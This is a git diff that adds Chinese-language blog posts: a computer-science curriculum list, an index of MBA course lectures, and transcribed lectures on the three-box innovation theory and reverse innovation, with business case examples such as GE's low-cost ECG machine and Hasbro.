复变函数与积分变换 ++ 概率统计 + +硬件方面： + ++ 电路分析基础 一切电子方向的基础 ++ 模拟电子技术基础 一切电子方向的基础（开始分化方向） ++ 数字电子技术基础 数字电子（计算机）专业的基础 ++ 计算机组成原理 抽象的数字电子的“可以用来计算的机器”的大原理 ++ 微机原理及接口技术 基于8086的PC微型计算机系统的原理 ++ IBM PC汇编语言程序设计 8086CPU指令系统程序设计 ++ 计算机系统与结构 抽象的数字电子计算机系统（非单指计算机）的原理 ++ 单片机及接口技术 单芯片计算机系统的基本原理 ++ （计算机）信号与系统 从数字电路角度理解的计算机系统的接口与通讯 + +软件方面： + ++ 离散数学 ++ C语言程序设计 或 C++面向对象程序设计 或 Pascall语言程序设计 ++ 数据结构 计算机中数据的组织与管理方式（启发式，非结论式） ++ 计算方法 计算机数值计算提高计算精度的方法 ++ 操作系统 计算机系统基础管理软件的组成与实现技术 ++ 编译原理 从源码到可执行代码的翻译过程快速有效的实现方法 ++ 数据库系统概论 计算机中大批量数据的管理与检索方法 ++ SQL Server数据库 一个具体的数据库系统的应用 ++ 软件工程 从工程管理的角度来管理“软件制造业”的方法 ++ 汇编语言 + +其它方向： + ++ （电子）信号与系统 ++ 通信原理 ++ 计算机网络 ++ TCP/IP技术 ++ 分布式应用原理 ++ 图形学 ++ 多媒体技术基础 + +最后，计算机专业要及时刷新认知，比如： + ++ 人工智能 ++ 区块链 ++ 大数据 ++ IoT ++ Agile ++ 量子计算 ++ 其他等等 + +# 参考 + ++ [计算机专业课程体系介绍](https://www.douban.com/group/topic/39157183/) \ No newline at end of file diff --git a/_posts/2019-06-03-375-mba.md b/_posts/2019-06-03-375-mba.md new file mode 100644 index 0000000..0d22db8 --- /dev/null +++ b/_posts/2019-06-03-375-mba.md @@ -0,0 +1,129 @@ +--- +layout: post +title: 混沌商学院2018~2019 +pid: 375 +tags: [mba] +--- + +第一章 先导课程模块 ++ [第1节 俞敏洪 领导力原则](http://www.baoguoding.com/2019/06/406-mba0101.html) ++ [第2节 张丽俊 人力资源是CEO第一工程](http://www.baoguoding.com/2019/06/407-mba0102.html) ++ [第3节 樊登 可复制的领导力](http://www.baoguoding.com/2019/06/408-mba0103.html) + +第二章 领导力模块 ++ [第1节 泰勒·本-沙哈尔 如何找到最佳领导区](http://www.baoguoding.com/2018/04/274-tal.html) ++ [第2节 泰勒·本-沙哈尔 如何应对压力和保持专注](http://www.baoguoding.com/2019/06/404-mba0202.html) ++ [第3节 泰勒·本-沙哈尔 如何打造最优领导关系](http://www.baoguoding.com/2019/06/405-mba0203.html) + +第三章 财务会计模块 ++ [第1节 单喆慜 财务分析与企业生命周期](http://www.baoguoding.com/2018/10/300-xcw01.html) ++ [第2节 单喆慜 财务报表的原理](http://www.baoguoding.com/2018/10/301-xcw02.html) ++ [第3节 单喆慜 财务报表的应用](http://www.baoguoding.com/2018/10/302-xcw03.html) ++ [第4节 单喆慜 财务报表的分析方法和案例](http://www.baoguoding.com/2018/10/303-xcw04.html) ++ [第5节 单喆慜 六段式表格及其运用](http://www.baoguoding.com/2018/10/304-xcw05.html) + +第四章 人力资源管理模块 ++ [第1节 许玉林 人力资源管理创新与重构](http://www.baoguoding.com/2018/10/305-xyl01.html) ++ [第2节 许玉林 人力资源管理的战略思考](http://www.baoguoding.com/2018/10/306-xyl02.html) ++ [第3节 许玉林 组织运行、制度体系与文化整合](http://www.baoguoding.com/2018/10/307-xyl03.html) ++ [第4节 许玉林 文化整合与管理圣经](http://www.baoguoding.com/2018/11/308-xyl04.html) + +第五章 经济学模块 ++ [第1节 任泽平 宏观经济和大类资产：基本原理](http://www.baoguoding.com/2019/06/400-mba0501.html) ++ [第2节 任泽平 转型宏观：增速换挡和高质量发展](http://www.baoguoding.com/2019/06/401-mba0502.html) ++ [第3节 任泽平 中国经济形势与中美贸易战](http://www.baoguoding.com/2019/06/402-mba0503.html) ++ [第4节 埃里克·马斯金 机制设计的原理及应用](http://www.baoguoding.com/2019/06/403-mba0504.html) + +第六章 市场营销模块 ++ [第1节 柏唯良 何为市场营销](http://www.baoguoding.com/2018/11/309-marketing01.html) ++ [第2节 柏唯良 4P&4C理论与市场营销研发](http://www.baoguoding.com/2018/11/310-marketing02.html) ++ [第3节 柏唯良 定价工具与技术](http://www.baoguoding.com/2018/11/311-marketing03.html) ++ [第4节 柏唯良 注意力缺失世界中的品牌与促销](http://www.baoguoding.com/2018/11/312-marketing04.html) + +第七章 公司金融模块 ++ [第1节 陈晋蓉 资本视角下的公司运营](http://www.baoguoding.com/2018/10/292-gsjrx01.html) ++ [第2节 陈晋蓉 金融财务会计联动的资本战略](http://www.baoguoding.com/2018/10/293-gsjrx02.html) ++ [第3节 陈晋蓉 产融结合的创新商业模式](http://www.baoguoding.com/2018/10/294-gsjrx03.html) ++ [第4节 陈晋蓉 风险意识与财务管控](http://www.baoguoding.com/2018/10/295-gsjrx04.html) ++ [第5节 陈晋蓉 投融资决策与企业价值管理](http://www.baoguoding.com/2018/10/296-gsjrx05.html) + +第八章 商业模式模块 ++ [第1节 魏炜 商业模式的原理和实践上](http://www.baoguoding.com/2018/11/313-syms01.html) ++ [第2节 魏炜 商业模式和原理和实践下](http://www.baoguoding.com/2019/06/397-mba0802.html) ++ [第3节 魏炜 “魏朱六要素商业模式”深度解构](http://www.baoguoding.com/2019/06/398-mba0803.html) ++ [第4节 魏炜 商业模式与竞争优势](http://www.baoguoding.com/2019/06/399-mba0804.html) + +第九章 行为金融学模块 ++ [第1节 朱宁 你必须正视的经济泡沫](http://www.baoguoding.com/2019/06/393-mba0901.html) ++ [第2节 朱宁 代表性偏差与框架效应](http://www.baoguoding.com/2019/06/394-mba0902.html) ++ [第3节 朱宁 过度自信与损失规避](http://www.baoguoding.com/2019/06/395-mba0903.html) ++ [第4节 朱宁 高管的致命行为决策](http://www.baoguoding.com/2019/06/396-mba0904.html) + +第十章 战略管理模块 ++ [第1节 汤明哲 战略管理导论](http://www.baoguoding.com/2019/06/388-mba1001.html) ++ [第2节 汤明哲 战略的布局和段数](http://www.baoguoding.com/2019/06/389-mba1002.html) ++ [第3节 汤明哲 如何制定战略](http://www.baoguoding.com/2019/06/390-mba1003.html) ++ [第4节 汤明哲 谋和战略](http://www.baoguoding.com/2019/06/391-mba1004.html) ++ [第5节 汤明哲 进入阻绝和竞争战略](http://www.baoguoding.com/2019/06/392-mba1005.html) + +第十一章 市场与竞争 ++ [第1节 张凯夫 技术/制度创新与最伟大的企业](http://www.baoguoding.com/2019/06/384-mba1101.html) ++ [第2节 张凯夫 市场与产权](http://www.baoguoding.com/2019/06/385-mba1102.html) ++ [第3节 张凯夫 产权、规模效应与网络效应](http://www.baoguoding.com/2019/06/386-mba1103.html) ++ [第4节 张凯夫 破坏式创新与无线电故事](http://www.baoguoding.com/2019/06/387-mba1104.html) + +第十二章 组织行为学模块 ++ [第1节 包季鸣 微观层面：颠覆认知，寻求魔镜](http://www.baoguoding.com/2019/06/380-mba1201.html) ++ [第2节 包季鸣 中观层面：激活群体，赋能团队](http://www.baoguoding.com/2019/06/381-mba1202.html) ++ [第3节 包季鸣 宏观层面：聚焦生态，再造组织](http://www.baoguoding.com/2019/06/382-mba1203.html) ++ [第4节 包季鸣 卓越领导：融会贯通，超越自我](http://www.baoguoding.com/2019/06/383-mba1204.html) + +第十三章 创新管理模块 ++ [第1节 维杰伊·戈文达拉扬 三盒创新理论](http://www.baoguoding.com/2019/06/376-mba1301.html) ++ [第2节 维杰伊·戈文达拉扬 逆向创新](http://www.baoguoding.com/2019/06/377-mba1302.html) ++ [第3节 维杰伊·戈文达拉扬 数字化转型](http://www.baoguoding.com/2019/06/378-mba1303.html) ++ [第4节 维杰伊·戈文达拉扬 解决执行难题](http://www.baoguoding.com/2019/06/379-mba1304.html) + +--- + +我们将知识分为： ++ 公共知识 ++ 专业知识 + +对于每一个问题的深入剖析，都会是我们变得专业。 + +目前我接触到的一些大类包括： ++ 软件研发相关 ++ PMP ++ NPDP ++ TOC ++ MBA ++ 货代行业知识 ++ 基础学科知识（语文、英语、数学、物理、化学等等） + +还有很多其他分门别类： ++ 考古 ++ 艺术 ++ 哲学 ++ 天文 ++ 社会学 ++ 心理学 ++ 其他等等 + +在这个信息大爆炸的时代，我们需要多少知识才足以支撑我们的生活？ + +很多知识、人脉都是几代人的积累，我们该何去何从？ + +混沌提出的“哲科思维”非常有道理，在相当长的时间内，我要按照这个方式去前进。 + +斗转星移、世界变化之快，是探索欲和求知欲促使我们前行？还是求生欲？ + +如何发现更多的商机？探索建设性解决方案？ + +如何在复杂的形势下，做到Win-Win？ + +管理是一门提升成功可能性的学科，我们不能忽略基础学科的重要性。 + +学习管理学相关的内容，是为了更好的去理解社会、服务社会；在时机成熟的情况下，搭配、组合各种资源从而产生指数级效应；做到人尽其才，物尽其用。 + +成为商业精英、商业领袖！ \ No newline at end of file diff --git a/_posts/2019-06-03-376-mba1301.md b/_posts/2019-06-03-376-mba1301.md new file mode 100644 index 0000000..7c530a8 --- /dev/null +++ b/_posts/2019-06-03-376-mba1301.md @@ -0,0 +1,281 @@ +--- +layout: post +title: 【创新管理模块】 第1节 三盒创新理论 +pid: 376 +tags: [mba] +--- + +下午好！首先和各位同学做一下自我介绍。我现在是在达特茅斯大学塔克商学院工作，我在MC49（位于硅谷的一个孵化器），在那边跟他们有合作。在过去的15年的时间里面，我一直都在研究创新，我也跟一些美国的企业合作，帮助他们更好的找到创新之道。2008年和2009年，通用电气邀请我全职加入GE工作，所以我请了两年的假，一共是24个月，去到GE和他们的CEO杰夫·伊梅尔特共事，为GE带来创新。 + +# 创新 + +1.1我们为何要创新 + +中国未来最大的挑战就在于创新。中国有非常悠久的历史和文化的传承，但是**经济发展的历史相对较短**。 + +中国刚改革开放第一阶段的时候，是一个低成本的全世界的制造中心，这是中国打造竞争力的第一步。第二阶段，中国就开始发展创新了。而且现在已经经历了转型和过渡，也就是从模仿到自主的创新。 + +但是我们需要做的更多。如果说中国想要继续成为世界上的一个领先者，要诞生更多增长型的企业，那么创新就是其中至关重要的一个挑战。我会介绍一系列的概念和框架，以及一些想法、一些思维模型、一些工具，真正的加速你们的创新里程。 + +1.2创新等于战略 + +很多公司都会希望成为未来的领导者，那么如何成为未来的领导者？ + +未来每一个行业都会有变化，所以必须要去适应、要把握这种变化的趋势，怎么样去适应变化，它的方法、手段、渠道就是创新，创新就等于战略。 + +企业的管理者经常会问我，是不是每一个行业都需要创新呢？是不是有这么一个行业它几乎没有什么变化？其实我自己也参与到这个行业里面，就是学术。 + +但是问问大家一个问题，假设我们现在写一个一百年以前世界最好的10所大学，在这张名单上有多少是美国的学校呢？ + +答案是0。像MIT、哈佛都不在这个10家榜单上，十所最佳的大学哪个国家的最多呢？是德国，那时候十大高校里面六所来自于德国。 + +如果你觉得学术界是静态的，100年来都没有变化，那么领先的那个国家或者那些大学应该没有变化，但其实不是，因为现在我们看这个名单完完全全被反转了，现在在前十里面没有一所是德国的学校，而且现在大家广为人知的都是美国的那些学校，斯坦福、哈佛、MIT、麻省理工等等。 + +到底美国的学校在百年以来做了哪些突破性的创新呢？显然在产品上是有创新的，大学的产品那就是这些课程，美国的那些大学在所有的这些课程设计上都有了突破性的创新。 + +除此之外，他们在那些非产品领域里面也是有很多的创新，比如说它的运营模式就是一个例子，美国的学校有一项创新，在非产品领域的创新，那就是搭建校友的网络。 + + +# 三盒创新理论 + +2.1三个盒子 + +问大家一个非常简单的问题，在你自己的组织里面、公司里面执行的所有的项目，有多少项目是能够让你成为未来的领导者？我们说战略其实就是领导力的话，换个角度来问大家，这些项目放在三个盒子里面，那么有多少是放在第一个盒子里面的？ + +第一个盒子，其实就是有关于把控当下，这个其实就是你能够改善你现在的整个业务的情况，这个是有关于你目前的系统怎么样能够进行优化。 + +有多少你今天在做的是可以放在第二个盒子里面的？第二个盒子，就是有关于你要选择性地忘记过去。 + +又有多少项目是你现在执行的可以把它放在第三个盒子里面，第三个盒子是有关于创造未来。 + +第一个盒子，管理现在；第二个盒子有选择地忘记过去；第三个盒子是创造未来。 + +我发现很多的公司、组织，在和我合作的时候，都是关注第一个盒子，他们觉得这就是在做战略。 + +战略和过去是没有什么关系的，战略和现在也没有什么联系，战略和第一个盒子是没有关系的，战略其实都是和第二个盒子、第三个盒子相关。 + +对于第三个盒子来说有哪些挑战呢？比如说你认为在2029年的时候，公司的未来是怎么样的？如果说你想知道2029年会怎么样，那么你就要在第二个盒子这里开始做工作了，也就是说你必须要选择性地忘记过去。 + +第一个盒子是有关于现在的竞争，当今的竞争，都是一种效率改进。对于第二个盒子、第三个盒子，其实就是对于未来的竞争，都是关于创新。 + +比如说你2019年，你必须在第一个盒子里面东西要做的非常好，但是你在2019年的时候也要开始去做这种突破式的创新，因为这些东西是和第二个盒子、第三个盒子相关的，只有这样才能够打造未来。 + +但是，你要做这两件事情是需要完全不一样的人、不一样的技能、不一样的指标，所以这个就是每一个公司所面临的，包括在中国每个公司所面临的战略性的挑战。 + +我想和大家说的是未来其实是关乎于现在，未来并不是有关于你未来具体做些什么，为什么这个这么难？等于现在你有两件事情能做，一件事情是第一个盒子的事情，第二件事情就是第二个盒子和第三个盒子，你怎么样能够创造未来。 + +这里面是有本质的矛盾、冲突，所以这对于我们来说都是根本性的挑战。 + +2.2非线性变革 + +对于现在项目的竞争，也就是第一个盒子的这些项目，往往就是要去响应信号非常明确的线性变革的东西，因为这是线性变革，并且是信号非常清晰的，所以组织的反应往往就是一种渐进的改进，比如说像质量，或者说持续改善的项目，或者说是质量控制。 + +但是对于未来的竞争，第二个盒子、第三个盒子的这些项目，往往都是响应一些非常弱的信号，而且是非线性变革的东西。因为你面对的是你行业里面非线性的变革，所以组织的一些响应往往就是必须要指数性创新，非线性创新。 + +以后技术会颠覆所有的行业，包括你的行业；但是技术并不是非线性变革唯一的来源，也有可能是客户所带来的，未来的客户有可能和你现在的客户是完全不一样的，那么他们也会要求有全新的商业模式；也会有一些非传统的竞争对手到了你这个领域来，逼着你必须要自我改造。 + +我给大家举个例子，什么叫做客户的改变。它可能会带来各种各样的机会。 + +比如说你是一个美国公司，不能说我针对美国消费者的商业模式就照搬到印度去，希望这样的话马上就可以抓住印度市场，这是不可能的。 + +为什么？因为新兴市场代表了客户有极大的不同，新兴市场的客户和发达国家的客户是完全不一样的，所以需要有突破式的创新，需要有指数性创新。 + +我举个例子，人均收入这个概念在美国是5万美金，在印度是2000美金。你不可能把美国的商业模式照抄到印度。 + +> 2.3 ECG案例 + +我可以给大家举一个例子，这个公司在印度真的做了这种突破式的创新。是通用电气的医疗事业部，它们是专门做医学成像设备的，也就是X光机，或者说超声、CT机。GE是为美国的消费者发明了心电图机，这个是非常强大的一台设备。 + +心电图2万美金一台，要卖到印度去，那么大概就只能卖整个市场的最富有的10%，至于剩下来的这90%的印度人怎么办呢？这些人是用不起2万美金的这种心电图机的，有各种各样的原因，最重要的一个原因就是太贵了。 + +当然，还有其它的一些问题。比如说在印度农村地区，医院没有很高级的影像中心。没有影像中心，换言之这些2万的心电图机器都要送机上门，但是这些机器一个单重量就是500磅。 + +不仅如此，这些2万一台的心电图机器，它只能用一些稳定的电流，就是家庭稳定的电流。但是在印度很多农村地区，要么就是根本没有电，或者有电也是不稳定的，所以没有办法在农村里面来用。 + +最后，这个机器非常复杂，它只能是有训练有素的医生才能够去操作，一般用户手册就有500多页这么厚，但是在印度的农村地区根本就没有接受过训练的医生，所以导致90%的印度人不能用这2万一台的心电图机器。 + +2008年，我那时候加入通用电气的医疗部，得到了一个项目，就是要创新一种ECG心电图机器，它的成本大概是100美元，它做一次检查大概只有1毛钱。如果说做一次检查才1毛钱，我一天挣2美元，那我应该还是可以出得起1美元来检查一下心脏的，所以这就是说有支付能力了。 + +这个百元级别的ECG非常的轻，大概比一罐可口可乐还要轻，那我把它装在背包里面就上路了。 + +不仅如此，这个百元级别的心电图机器是装电池的，你一次充完电，它可以完成750次检查。 + +最后，这个百元级别的心电图机器操作起来特别简单，里面只有两个按纽，有一个绿色的，有一个红色的按纽，所以你摁这个绿色的按纽它就启动了，你摁一下红色的按纽它就停下来了，只要你能看懂红绿灯你就会操作这台机器。 + +所以，GE是把大量的非消费者用这台百元级别的心电图机器转换成了消费者，它就是创新，那我们说了盒子一它是怎么抢夺现有市场份额，但是盒子二和三是创造市场。 + +> 2.4 孩之宝案例 + +我们再看一个例子，孩之宝，做玩具的公司，其中有一些像土豆先生、变形金刚，都是它家的产品。但是它们也有传统的那一些桌游，《大富翁》、《糖果王国》这样子的一些传统的桌游。 + +所以，它们是做什么行业的呢？家庭娱乐。 + +如果孩之宝想在2019年依然领先，那么1999年就要开始布局未来的项目。他们会选择哪些创新型的尝试呢？要考虑到一些变化。 + +2.4.1技术方面的颠覆性变化 + +第一，私人游戏系统、平台的出现。 + +第二，互联网与无线技术快速发展，并逐渐演变为主流娱乐渠道。 + +第三，手持数码设备和媒体（照相机，智能手机，平板电脑）。 + +第四，缩短的产品生命周期以及快速的技术升级，促使游戏技术承受价格下跌造成的巨大压力。 + +2.4.2用户的变化 + +第一，年轻一辈的小孩，随着年龄增长，会更早地对传统玩具失去兴趣。 + +第二，人口老龄化的趋势也让爷爷奶奶辈的消费者占据了很大的比重；他们常常“亲自”陪孙儿辈的孩子玩耍。 + +第三，成年人发现他们有机会在社交、工作环境中玩游戏。 + +第四，逐渐增长的“少数人群”迅速占据主要地位。 + +2.4.3销售渠道方面的变化 + +第一，大卖场出处现带动了零售集中化，顾客可以不去拥挤的小型商店和精品直销店。 + +第二，大型零售商店推动了规模经济，对供应链一体化有很高的要求。 + +第三，大型零售商还会出售自有品牌产品。 + +第四，“老牌”竞争对手的破产引发了更深层次的零售集中化。 + +2.4.4竞争对手方面的变化 + +1995年只有一个竞争对手美泰，现在因进入壁垒低，游戏相关的竞争对手无处不在。 + +2.4.5生活方式方面的变化 + +第一，家庭成员之间在一起娱乐的时间减少。 + +第二，娱乐的年龄分化更加严重。 + +第三，父母都工作的家庭与孩子一起娱乐的时间更少，但这样的家庭会花费更多的钱在儿童娱乐上。 + +第四，父母更喜欢有丰富内涵的玩具和游戏。 + +第五，许多孩子的时间都被安排得很满，少有闲暇时间；所以他们在娱乐时间，往往喜欢一个人玩快节奏的电子游戏。 + +2.4.6人口结构方面的变化 + +到2030年，美国40%的人口是西班牙裔，他们的娱乐方式与美国白人不同。 + +2.4.7全球化趋势 + +第一，新兴市场具有增长潜力，在这种新兴市场中，娱乐的概念不同，并且一次性收入很低。 + +第二，在新兴市场，新的产品设计方法、制造工艺、与市场营销手段都将需要克服文化、市场、以及物流的障碍，因此，西方企业需要打造新的竞争力。 + +第三，成熟市场的发展潜力可以通过现有的竞争力去释放。 + +所以，有很多非线性改变，对于孩之宝来说是能够有创造第二个盒子、第三个盒子的机会。那么对于孩之宝来说，第二个盒子的挑战是什么呢？其实第二个盒子是有关于如何忘记，如果说你不能够忘记的话，你就没有办法学习。 + +2.5如何忘记 + +三个盒子中，其实最难的就是第二个盒子。 + +第二个盒子是关于选择性地忘记，也就是说也要选择性的记忆。我非常喜欢这里打一个比方，每一个组织都有它的根，不能把它全都切掉，所以你得先搞清楚自己公司的根是什么，想办法把它保护起来，并且能够给它滋养的养分。 + +但是，很多的组织又好像牢牢抓住自己的过去不放，这些枝链要想办法能够忘记。所以对于孩之宝也是一样。 + +1995年的时候孩之宝应该忘记什么。如果说孩之宝的高管层他们现在要来回答这两个问题，在我这个行业里面，在未来20年有哪些非线性的变革，因为有这些非线性的变革，那么对于第二个盒子来说我现在面临哪些挑战？ + +![](/uploads/2019/06/03-01.png) + +让大家去想象一个未来，其实就是在问你的假设是什么，在未来20年，非线性的变革是什么样子的。 + +另外，这些假设并不是说你凭空想出来的，往往是基于一些比较弱的信号，在第一个盒子里面你是得到非常明确的、强的信号，然后在第三个盒子里你响应的是非常弱的信号，这些弱的信号你接收，然后你去做假设，这种非线性的变革未来是怎么样的。 + +什么叫做弱信号，1995年的时候大家开会，是没有办法去预测苹果公司在2007年的时候会推出苹果手机——一旦推出了iPhone之后，就等于上面有很多的游戏了，你当时是不可能预测的。 + +但是，会有一些非常弱的信号，在90年代中，可以接收到，然后你就可以做一些假设。比如说这种技术的游戏是在未来有非常大的机会；个人电脑的革命在80年代就出现了，这也就意味着成百上千万的人都有电脑了；另外在90年代，摩托罗拉已经推出了一款手机，当然是非常笨重的，但是至少已经有人展示出来了；90年代互联网已经出现了，当然这是比较早的阶段了，这也意味着这些电脑相互联结在一起； 1991年，雅达利已经推出了视频的游戏，你就可以用技术的手段打游戏了。 + +所以孩之宝在过去20年做了很多的商业模式，他们也是要进行转型，从实物的游戏玩具变成了数字的游戏公司。另外，对于新兴市场，它也非常强，在中国可以看到《变形金刚》的电影非常流行；IP体验也不错，像变形金刚，现在不单单是有实体的玩具，还有电影，还有主题公园。 + +在2019年孩之宝之所以做的非常好，是因为它其实从90年代就开始做这些工作了。所以，我说现在就是未来，我和大家讲的所有的这些东西都很容易理解，为什么做起来那么难呢？ + +> 2.6 跳高案例 + +我可以和大家打一个比方。奥运会是1896年的时候开始的，所以我们有过去100多年的数据了，看一下奥运会跳高金牌得主。第二个盒子和第三个盒子，其实就是在跳高的方式上进行了突破式的创新，马上成绩就上去了。 + +第一种是剪式跳高，如果说你是跳高的人，就是遵守剪式跳高的规则，想办法在剪式跳高里面做到最高，这个就是你第一个盒子做的事情，持续提高剪式跳高的高度，这个都是有关于经营的提高、运营的提高。 + +这个其实说白了就是第一个盒子的工作。这个重要吗？当然很重要了。但是2019年你不能够将所有的资源都用于剪式跳高的成绩，因为世界肯定会发生变化，这种突破式的创新总是出现的，新的竞争对手会进入到你的领域，逼着你要改造自己。 + +在2016年里约奥运会，跳高运动员是跳了8英尺，如果说你是用剪式跳高法的话，你是不可能跳到8英尺的。因为在整个的剪式跳高中，你的重心高度决定了你能够跳的高度，如果说你充分发挥你的潜力，你得找一个新的方式能够让重心提高，于是后来就出现了滚式跳高、俯卧式跳高，在这之后，出现了这种背越式的跳高，等于突破你重心的潜力往上跳。 + +公司也一样。比如说在你的组织里面有很多跳这种剪式跳高的人，但你必须要花一些精力、资源，然后要把它放到第二个盒子、第三个盒子，去做突破式的创新，这个是我们所面临的核心的挑战。 + +另外，我希望大家来看一看你们做的所有的项目里面，有多少是放在第一个盒子里面的。第一个盒子其实就是要不断去缩短你的这种绩效的差距，但是不能把100%的资源全都扔在第一个盒子里。要问一下你有多少个项目是放在第二个盒子里面、第三个盒子里面，这里面要缩短的是可能性的差距，要做非线性的创新，要做突破式的创新。 + +3.绩效差距和可能性差距 + +如果说想在2029年的时候成为一个领导者的话，那么有两个挑战。第一个挑战是什么？我们必须要去缩短绩效差距，第二个就是我们必须要缩短可能性差距。 + +我和很多的公司进行合作，我就发现很多的公司将资源都花在怎么样去缩短绩效差距。另外，怎么缩短绩效差距？比如说最佳实践标杆，这个东西并不是什么战略。比如说你做剪式跳高，你对标什么呢？你就看看其他人，在做剪式跳高的这些人，有没有谁做剪式跳高比我做的更好一点？或者说做更聪明一点，然后看看和他之间的差距是多少，然后你就做项目了，这是在想办法缩短绩效的差距。 + +那么，最终你做出来会是什么样呢？你的可能性在哪里？ 100块钱的ECG机器并不是对标最佳实践标杆做出来的，背越式跳高也不是这种线性的提高，而是完全是一种非线性的创新。 + +> 格莱珉乡村银行的例子 + +如果说你要再找这种例子的话，我们来看一下这个小微贷款案例。尤纳斯，1993年的时候他成立了格莱珉乡村银行，在那之前他是教经济学的教授，是在孟加拉国大学。 + +大家也知道，孟加拉国有很多的饥荒，1988年的时候饥荒，其中166个村民奄奄一息了，其实他们需要的都是25美元的贷款。尤纳斯博士看了看自己的口袋，给了这些村民25美元的贷款也得到了还款，而且还附带10%的利息。所以，他能够把这166个非消费者转换成银行业的消费者。 + +后来他就开始问自己了，借钱还能够得到一定的盈利，要是把更多的非消费者，我把那50亿世界上的人口，现在还没有用银行业务的人，我给他们转换成消费者多好。所以，他们现在成立了一家乡村银行，叫做孟加拉国乡村银行，跟现有的这些银行完全不同的规则。他一共发放的贷款达到了200亿，他其实每一个都很小微。在过去的30年时间里面，孟加拉国乡村银行也是世界上盈利最高的前30家银行之一。 + +4.战略架构 + +中国在过去的30年创造了很多价值，如果在接下来的20年中国还要成为进一步伟大的国家的话，我们必须要有突破性的创新。 + +怎么才能够突破性创新？我们必须要改变战略。 + +我到企业去的时候，都会请求他们给我看战略规划，企业经常给我一本厚厚的册子，这个战略是没有意义的，因为未来是不可能去完美预测的。 + +所以，针对未来做规划其实没有意义，但是为未来做好准备是非常重要的。我有一个工具，是为了让我们更好地为未来做准备，就是战略架构，这个战略架构应该就是一页纸，非常简单。 + +如果哪一天你可以化繁为简，把所有的战略浓缩成一张纸上，全公司的思想就可以统一了。 + +它里面有几个重点。 + +第一，未来会变，所以你会对未来有哪些假设？在我们这个行业里面，比如说会存在哪些颠覆性的技术，会有哪些非消费者变成消费者，竞争对手、人口、生活方式各个方面会有怎样一些变化？ + +反思一下你现在看到的一些信号，你关于这些问题做出的这个假设在未来会有哪些变化？我们要去收集这个证据，去验证这些假设，有的假设可能就不成立，那你就需要去推翻，要重新建立新的假设。 + +第二，战略架构的重点在于战略意图。不是说能够保证未来的成功，但是好处就是有一个明确的方向，就是一个可视化。 + +第三，我现在的这个核心能力是什么？ + +第四点是最重要的，年度重点，就是接下来这一年，12个月，我的资源怎么样去配置，你当然不能把百分之百的资源配置在盒子一上面，资源必须是分配在3个盒子里面，这就是意味着你要有几个不同的视野。第一个视野是短期的，盒子一，这边我有一个经验法则，大概40%到60%接下来12个月的资源应该配在盒子一的这些项目上；然后，视野二和视野三这就是代表着盒子二和三，但是视野二和三之间的区别就是，和二相比，三的风险更大一些。比较接近核心的那一些项目就是视野二，把这个资源配在这一些东西上面，因为它的风险低，我的经验大概是25%-30%的资源放在视野二；视野三就是更有颠覆性、更加的高风险的项目，10%-20%的资源放在视野三。 + +第五是新的核心竞争力。不能总靠现在的这些能力去掌握未来，所以我要去建设打造这个核心的竞争力。 + +再强调一下，战略意图必须达到三个方面的标准。 + +第一个标准是方向。第二个标准就是动力、热情。可以这么来想，员工你光给他定一些财务上的KPI，这是不可能激发他的热情的，要有让这个员工迫不及待想要来工作的理由，这是战略意图第二个标准。第三个标准就是挑战，战略意图必须是大胆的，是充满勇气的，一定要有大梦想。 + +这是战略意图的三个关键，方向、动力和挑战。 + +> 约翰肯尼迪登月的例子 + +有一个非常好的例子，在60年代的时候，约翰肯尼迪说了这句话：我们要在这个10年结束之前把人送上月球，并且安全返回。这是一句非常强大的意向，我们来对比一下刚才这三个标准。 + +方向，人类登上月球，方向很清晰。 + +动力，那时候美苏大战，60年代的时候我们要打败苏联，那时候苏联在太空已经是取得了一些进步，走在美国前面。成为世界霸主，是非常能够让人热血沸腾的。 + +挑战也有。那时候成功的概率是10%，所谓的战略意图就是要有一个大大的梦想，要有一些看似不现实的目标。 + +所以，我想给大家的一个作业就是，回去以后看看你们的企业，按照我说的这三个标准的战略意图，还有这5点战略的架构，你能不能写出来。 + +另外给大家准备了两个工具，帮助大家更好地使用三盒创新理论。 + +![](/uploads/2019/06/03-02.png) + +![](/uploads/2019/06/03-03.png) + +![](/uploads/2019/06/03-04.png) + +下节课我想给大家讲两个非常重要的三盒创新理论的应用，就是中国如果接下来100年还希望继续领先的话需要掌握的，谢谢！ \ No newline at end of file diff --git a/_posts/2019-06-03-377-mba1302.md b/_posts/2019-06-03-377-mba1302.md new file mode 100644 index 0000000..4382a23 --- /dev/null +++ b/_posts/2019-06-03-377-mba1302.md @@ -0,0 +1,148 @@ +--- +layout: post +title: 【创新管理模块】 第2节 逆向创新 +pid: 377 +tags: [mba] +--- + +# 逆向创新导论 + +1.1 什么是逆向创新 + +什么叫做逆向创新？从传统上来说，一般都是美国这样的富国创造产品，然后卖到像印度这样的穷国。逆向创新恰好就是倒过来做，也就是说在一个穷国创新，比如说在印度，然后将这个产品卖到像美国这样富有的国家。 + +逆向创新是反直觉的，为什么？穷人羡慕富人，这很合逻辑，比如说富人开车，那么穷人也想开车。反过来，富人羡慕穷人就显得非常不合逻辑。 + +对于中国还有中国的公司来说，逆向创新是一个非常大增长的机会。 + +1.2 逆向创新为什么发生在穷国或新兴市场国家 + +有三个原因能够来解释为什么逆向创新发生在穷国或新兴市场国家。 + +首先第一个就是我们所说的**性能的差距**，一般来说在GE有三个不同档次的产品，比如说像超声或者ECG，往往是有三类产品，比如说100美金的，然后是90块钱的，90块钱的就是90%的性能，100块的是100%，80块钱的是80%的性能。 + +然后，GE来到印度，他们也知道印度是穷国，然后把它变成比如说70块钱的东西，但是你也只能做70%的性能了。 + +但是，哪怕是这种产品，也只有10%的印度人用得起，90%的印度人希望你是5块钱，但是你能给我50%的功能。 + +你打造这样的一个产品之后，这个产品其实又可以在美国进行销售，因为在美国的话，也有人可能需要这样的产品。 + +第二个，就是**基础设施的缺口**。举个例子，比如说美国的能源行业，美国100年前已经集中建立了一些大的电厂，然后用国家电网来输电。但是新能源接入现有的基础设施非常不方便，所以美国在新能源方面就做的不好，因为一旦利用新能源的话，美国现有的这些基础设施就没用了。 + +但是，在中国是没有这种局限性的，中国的电网非常新，所以中国在新能源方面可以弯道超车，可以建最新的，比如说建太阳能电厂、建风电厂。 + +第三个问题，叫做**监管的差距**，中国和印度他们并没有像美国那样严格的监管。有监管当然是好的，但是太过于严格的监管就会扼杀创新，比如说在印度，医疗行业监管并不严厉，所以人们愿意去尝试不同的东西，但是在美国监管极其的严格，所以很多时候创新就出不来。 + +所以，逆向创新很多时候都是在新兴市场出现，因为可以弥补在**性能上面的差距、基础设施的差距、监管上的差距**。 + +# 逆向创新的秘诀 + 